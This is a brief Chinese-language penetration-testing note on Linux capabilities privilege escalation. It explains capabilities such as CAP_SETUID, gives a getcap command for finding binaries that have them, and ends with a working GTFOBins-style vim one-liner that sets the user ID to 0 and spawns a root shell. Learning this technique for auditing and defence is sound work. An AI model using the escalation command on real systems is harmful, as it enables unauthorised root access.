原理
Capabilities 提权(Capabilities Escalation)是指通过利用系统中已有的能力(capabilities)来获得更高权限或访问权限的过程。能力是一种细粒度的权限管理机制,允许进程在不需要完全 root 权限的情况下执行特定的操作。
1、能力划分:将特权操作分为多个能力,以下是常见的几种:
-
CAP_NET_RAW
: 允许发送原始网络包(如ping
)。 -
CAP_SYS_ADMIN
: 进行许多系统管理操作。 -
CAP_DAC_OVERRIDE:绕过文件访问控制。
-
CAP_CHOWN:改变文件的所有者和组。
-
CAP_SETUID:更改进程的用户ID。
2、进程与能力:每个进程都有一组能力。如果一个程序具备某些能力,普通用户可以在执行这个程序时利用这些能力。
3、Setuid程序:使用setuid位可以让普通用户以程序文件拥有者的身份运行该程序。这种情况下,如果程序具有能力,普通用户就能执行特权操作。
命令
列出启用Capabilities的工具
getcap -r / 2>/dev/null
参考链接
案例
列出启用Capabilities的工具
getcap -r / 2>/dev/null
根据GTFOBins进行参考
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'